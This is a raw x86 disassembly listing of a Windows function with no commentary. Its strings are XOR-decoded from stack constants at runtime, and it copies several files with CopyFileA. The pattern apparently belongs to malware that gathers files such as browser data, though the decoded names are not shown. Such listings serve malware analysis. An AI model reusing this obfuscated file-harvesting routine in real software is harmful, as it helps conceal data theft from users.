mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc70], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc6c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x250]
mov dword [ebp - 0xc68], eax
lea eax, [ebp - 0x250]
mov dword [ebp - 0xc64], ecx
pxor xmm1, xmmword [ebp - 0xc70]
push eax
movaps xmmword [ebp - 0x250], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x1728]
mov edx, eax
push ecx
lea ecx, [ebp - 0x16f8]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x1728]
call fcn.0040fc90
sub esp, 0x18
lea ecx, [ebp - 0x16f8]
mov esi, esp
mov dword [ebp - 0x50], esp
call fcn.004aba80
push eax
mov ecx, esi
call fcn.0040fcf0
mov byte [ebp - 4], 0x3e
mov byte [ebp - 4], 0x3d
call fcn.0041a120
add esp, 0x18
test al, al
je 0x468b9a
mov dword [ebp - 0x28], 0x718eb969
lea edx, [ebp - 0x85c]
mov dword [ebp - 0x24], 0x832888cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x740], eax
mov dword [ebp - 0x73c], ecx
mov dword [ebp - 0x28], 0x15791534
mov dword [ebp - 0x24], 0x9b5a6353
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x738], eax
mov dword [ebp - 0x734], ecx
mov dword [ebp - 0x28], 0x2591d873
mov dword [ebp - 0x24], 0xe5198724
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x730], eax
mov dword [ebp - 0x72c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x728], eax
mov dword [ebp - 0x724], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf20], eax
mov dword [ebp - 0xf1c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf18], eax
mov dword [ebp - 0xf14], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf10], eax
mov dword [ebp - 0xf0c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x740]
mov dword [ebp - 0xf08], eax
lea eax, [ebp - 0x740]
mov dword [ebp - 0xf04], ecx
lea ecx, [ebp - 0x18d8]
vpxor ymm0, ymm0, ymmword [ebp - 0xf20]
vmovdqa ymmword [ebp - 0x740], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x3f
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x16f8]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x18d8]
call fcn.0040fc90
test esi, esi
je 0x468b9a
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x28], 0x6d82fb69
mov dword [ebp - 0x24], 0x94238ecf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11bc], ecx
mov dword [ebp - 0x28], 0x2a6c2c27
mov dword [ebp - 0x24], 0x9b5a6d5c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11b8], eax
mov dword [ebp - 0x11b4], ecx
mov dword [ebp - 0x28], 0x3ddac364
mov dword [ebp - 0x24], 0x84048508
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11ac], ecx
mov dword [ebp - 0x28], 0x31be4b7
mov dword [ebp - 0x24], 0xa1c8fe8a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11a8], eax
mov dword [ebp - 0x11a4], ecx
mov dword [ebp - 0x28], 0xc90a0f10
mov dword [ebp - 0x24], 0x8c394943
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x11a0], eax
mov dword [ebp - 0x119c], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1198], eax
mov dword [ebp - 0x1194], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe20], eax
mov dword [ebp - 0xe1c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe18], eax
mov dword [ebp - 0xe14], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe10], eax
mov dword [ebp - 0xe0c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe08], eax
mov dword [ebp - 0xe04], ecx
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe00], eax
mov dword [ebp - 0xdfc], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x11c0]
vpxor ymm0, ymm0, ymmword [ebp - 0xe20]
mov dword [ebp - 0xdf8], eax
lea eax, [ebp - 0x11c0]
mov dword [ebp - 0xdf4], ecx
lea ecx, [ebp - 0x18f0]
vmovdqa ymmword [ebp - 0x11c0], ymm0
vmovaps xmm1, xmmword [ebp - 0x11a0]
vpxor xmm1, xmm1, xmmword [ebp - 0xe00]
vmovaps xmmword [ebp - 0x11a0], xmm1
push eax
vzeroupper
call fcn.0040fcf0
mov esi, eax
mov byte [ebp - 4], 0x40
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x260], ecx
mov dword [ebp - 0x25c], edx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc80], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc7c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x260]
mov dword [ebp - 0xc78], eax
lea eax, [ebp - 0x260]
mov dword [ebp - 0xc74], ecx
pxor xmm1, xmmword [ebp - 0xc80]
push eax
movaps xmmword [ebp - 0x260], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x16b0]
mov edx, eax
push esi
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x18f0]
call fcn.0040fc90
sub esp, 0x18
lea ecx, [ebp - 0x16b0]
mov esi, esp
mov dword [ebp - 0x50], esp
call fcn.004aba80
push eax
mov ecx, esi
call fcn.0040fcf0
mov byte [ebp - 4], 0x43
mov byte [ebp - 4], 0x42
call fcn.0041a120
add esp, 0x18
test al, al
je 0x468fd2
mov dword [ebp - 0x28], 0x718eb969
lea edx, [ebp - 0x85c]
mov dword [ebp - 0x24], 0x832888cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0x75c], ecx
mov dword [ebp - 0x28], 0x5751534
mov dword [ebp - 0x24], 0x874c5351
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0x754], ecx
mov dword [ebp - 0x28], 0x21dacf62
mov dword [ebp - 0x24], 0x89168123
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0x74c], ecx
mov dword [ebp - 0x28], 0xf0ba99b
mov dword [ebp - 0x24], 0xd5a69b80
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x744], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xf00], eax
mov dword [ebp - 0xefc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xef8], eax
mov dword [ebp - 0xef4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xef0], eax
mov dword [ebp - 0xeec], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x760]
mov dword [ebp - 0xee8], eax
lea eax, [ebp - 0x760]
mov dword [ebp - 0xee4], ecx
lea ecx, [ebp - 0x1908]
vpxor ymm0, ymm0, ymmword [ebp - 0xf00]
vmovdqa ymmword [ebp - 0x760], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x44
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x16b0]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x1908]
call fcn.0040fc90
test esi, esi
je 0x468fd2
mov byte [ebp - 0x41], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x28], 0x6d82fb69
mov dword [ebp - 0x24], 0x94238ecf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1100], eax
mov dword [ebp - 0x10fc], ecx
mov dword [ebp - 0x28], 0x2a6c2c27
mov dword [ebp - 0x24], 0x9b5a6d5c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10f8], eax
mov dword [ebp - 0x10f4], ecx
mov dword [ebp - 0x28], 0x3ddac364
mov dword [ebp - 0x24], 0x8a059808
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10f0], eax
mov dword [ebp - 0x10ec], ecx
mov dword [ebp - 0x28], 0x305ee8e
mov dword [ebp - 0x24], 0xa6ccb59d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10e8], eax
mov dword [ebp - 0x10e4], ecx
mov dword [ebp - 0x28], 0xba660016
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10e0], eax
mov dword [ebp - 0x10dc], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10d8], eax
mov dword [ebp - 0x10d4], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe60], eax
mov dword [ebp - 0xe5c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe58], eax
mov dword [ebp - 0xe54], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe50], eax
mov dword [ebp - 0xe4c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe48], eax
mov dword [ebp - 0xe44], ecx
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xe40], eax
mov dword [ebp - 0xe3c], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x1100]
vpxor ymm0, ymm0, ymmword [ebp - 0xe60]
mov dword [ebp - 0xe38], eax
lea eax, [ebp - 0x1548]
mov dword [ebp - 0xe34], ecx
mov ecx, eax
vmovdqa ymmword [ebp - 0x1100], ymm0
vmovaps xmm1, xmmword [ebp - 0x10e0]
vpxor xmm1, xmm1, xmmword [ebp - 0xe40]
vmovaps xmmword [ebp - 0x10e0], xmm1
mov dword [ebp - 0x50], eax
vzeroupper
call fcn.00410150
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x1100]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4691a2
sub ecx, edx
lea eax, [ebp - 0x1100]
push ecx
push eax
lea ecx, [ebp - 0x1548]
call fcn.00410090
mov byte [ebp - 4], 0x47
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xc90], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc8c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0xc88], eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0xc84], ecx
pxor xmm1, xmmword [ebp - 0xc90]
push eax
movaps xmmword [ebp - 0x270], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x1548]
mov edx, eax
push ecx
lea ecx, [ebp - 0x1710]
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x1548]
call fcn.0040fc90
sub esp, 0x18
lea ecx, [ebp - 0x1710]
mov esi, esp
mov dword [ebp - 0x50], esp
call fcn.004aba80
push eax
mov ecx, esi
call fcn.0040fcf0
mov byte [ebp - 4], 0x4a
mov byte [ebp - 4], 0x49
call fcn.0041a120
add esp, 0x18
test al, al
je 0x469433
mov dword [ebp - 0x28], 0x718eb969
lea edx, [ebp - 0x85c]
mov dword [ebp - 0x24], 0x832888cf
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x780], eax
mov dword [ebp - 0x77c], ecx
mov dword [ebp - 0x28], 0x4681534
mov dword [ebp - 0x24], 0x99466a5f
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x778], eax
mov dword [ebp - 0x774], ecx
mov dword [ebp - 0x28], 0x2591d862
mov dword [ebp - 0x24], 0xe5198724
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x76c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x768], eax
mov dword [ebp - 0x764], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xee0], eax
mov dword [ebp - 0xedc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xed8], eax
mov dword [ebp - 0xed4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xed0], eax
mov dword [ebp - 0xecc], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x780]
mov dword [ebp - 0xec8], eax
lea eax, [ebp - 0x780]
mov dword [ebp - 0xec4], ecx
lea ecx, [ebp - 0x1920]
vpxor ymm0, ymm0, ymmword [ebp - 0xee0]
vmovdqa ymmword [ebp - 0x780], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x4b
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x1710]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x1920]
call fcn.0040fc90
test esi, esi
je 0x469433
mov byte [ebp - 0x31], 1
jmp 0x46944b
cmp byte [ebp - 0x41], 0
jne 0x46944b
push 0
mov dl, 1
lea ecx, [ebp - 0x85c]
call fcn.0041a270
add esp, 4
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0x1710]
call fcn.0040fc90
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x16b0]
call fcn.0040fc90
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x16f8]
call fcn.0040fc90
mov dword [ebp - 0x28], 0x65a38169
lea edx, [ebp - 0x138]
mov dword [ebp - 0x24], 0x8e2385d4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x28], 0x76183823
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xca0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xc9c], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0xc98], eax
lea eax, [ebp - 0x280]
mov dword [ebp - 0xc94], ecx
lea ecx, [ebp - 0x1428]
pxor xmm1, xmmword [ebp - 0xca0]
push eax
movaps xmmword [ebp - 0x280], xmm1
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0x1428]
push 0
call fcn.004aba80
push eax
call edi
test eax, eax
je 0x469a1c
mov dword [ebp - 0x28], 0x689bfb69
mov dword [ebp - 0x24], 0x852e9ec0
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x8a0], eax
mov dword [ebp - 0x89c], ecx
mov dword [ebp - 0x28], 0x2a6a2f2e
mov dword [ebp - 0x24], 0xa9436f5d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x898], eax
mov dword [ebp - 0x894], ecx
mov dword [ebp - 0x28], 0x2ad1c24a
mov dword [ebp - 0x24], 0x83169a34
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x890], eax
mov dword [ebp - 0x88c], ecx
mov dword [ebp - 0x28], 0x70edb9c
mov dword [ebp - 0x24], 0xa1fafe83
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x888], eax
mov dword [ebp - 0x884], ecx
mov dword [ebp - 0x28], 0xd4130f15
mov dword [ebp - 0x24], 0x9035430e
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x880], eax
mov dword [ebp - 0x87c], ecx
mov dword [ebp - 0x28], 0xa76f6515
mov dword [ebp - 0x24], 0x86ec19aa
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x874], ecx
mov dword [ebp - 0x28], 0x399082d8
mov dword [ebp - 0x24], 0x5872c92c
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x28], 0x1d99944c
mov dword [ebp - 0x24], 0x2d1bcc4a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x864], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1140], eax
mov dword [ebp - 0x113c], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1138], eax
mov dword [ebp - 0x1134], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1130], eax
mov dword [ebp - 0x112c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1128], eax
mov dword [ebp - 0x1124], ecx
mov dword [ebp - 0x28], 0xba666e79
mov dword [ebp - 0x24], 0xe2502b6d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1120], eax
mov dword [ebp - 0x111c], ecx
mov dword [ebp - 0x28], 0xc81d154a
mov dword [ebp - 0x24], 0xe38070cc
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1118], eax
mov dword [ebp - 0x1114], ecx
mov dword [ebp - 0x28], 0x4afaacab
mov dword [ebp - 0x24], 0x5872a743
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1110], eax
mov dword [ebp - 0x110c], ecx
mov dword [ebp - 0x28], 0x1d99944c
mov dword [ebp - 0x24], 0x2d1bcc4a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x8a0]
vpxor ymm0, ymm0, ymmword [ebp - 0x1140]
vmovdqa ymmword [ebp - 0x8a0], ymm0
vmovdqu ymm0, ymmword [ebp - 0x880]
mov dword [ebp - 0x1108], eax
lea eax, [ebp - 0x8a0]
mov dword [ebp - 0x1104], ecx
lea ecx, [ebp - 0x1938]
vpxor ymm0, ymm0, ymmword [ebp - 0x1120]
vmovdqa ymmword [ebp - 0x880], ymm0
push eax
vzeroupper
call fcn.0040fcf0
mov esi, eax
mov byte [ebp - 4], 0x4d
mov dword [ebp - 0x28], 0x40bf8574
mov dword [ebp - 0x24], 0xe601bfe0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x290], ecx
mov dword [ebp - 0x28c], edx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xcb0], eax
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0xcac], ecx
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x290]
mov dword [ebp - 0xca8], eax
lea eax, [ebp - 0x290]
mov dword [ebp - 0xca4], ecx
pxor xmm1, xmmword [ebp - 0xcb0]
push eax
movaps xmmword [ebp - 0x290], xmm1
call fcn.0052d011
add esp, 4
lea ecx, [ebp - 0x16e0]
mov edx, eax
push esi
call fcn.004b0310
add esp, 4
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x1938]
call fcn.0040fc90
sub esp, 0x18
lea ecx, [ebp - 0x16e0]
mov esi, esp
mov dword [ebp - 0x50], esp
call fcn.004aba80
push eax
mov ecx, esi
call fcn.0040fcf0
mov byte [ebp - 4], 0x50
mov byte [ebp - 4], 0x4f
call fcn.0041a120
add esp, 0x18
test al, al
je 0x4699fb
mov dword [ebp - 0x28], 0x6583a169
lea edx, [ebp - 0x1428]
mov dword [ebp - 0x24], 0x8e2385d4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x7a0], eax
mov dword [ebp - 0x79c], ecx
mov dword [ebp - 0x28], 0x6473823
mov dword [ebp - 0x24], 0x9c496342
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x798], eax
mov dword [ebp - 0x794], ecx
mov dword [ebp - 0x28], 0x61ccce6b
mov dword [ebp - 0x24], 0x8b189b3d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x790], eax
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x788], eax
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x28], 0x4efd535
mov dword [ebp - 0x24], 0xe640eba1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xfc0], eax
mov dword [ebp - 0xfbc], ecx
mov dword [ebp - 0x28], 0x76184a46
mov dword [ebp - 0x24], 0xf52f0c30
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xfb8], eax
mov dword [ebp - 0xfb4], ecx
mov dword [ebp - 0x28], 0x4fbfab07
mov dword [ebp - 0x24], 0xe577e857
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0xfb0], eax
mov dword [ebp - 0xfac], ecx
mov dword [ebp - 0x28], 0x666987e8
mov dword [ebp - 0x24], 0xd5a69bee
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
vmovdqu ymm0, ymmword [ebp - 0x7a0]
mov dword [ebp - 0xfa8], eax
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0xfa4], ecx
lea ecx, [ebp - 0x1968]
vpxor ymm0, ymm0, ymmword [ebp - 0xfc0]
vmovdqa ymmword [ebp - 0x7a0], ymm0
push eax
vzeroupper
call fcn.004b0150
add esp, 4
mov byte [ebp - 4], 0x51
mov ecx, eax
call fcn.004aba80
lea ecx, [ebp - 0x16e0]
mov esi, eax
call fcn.004aba80
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
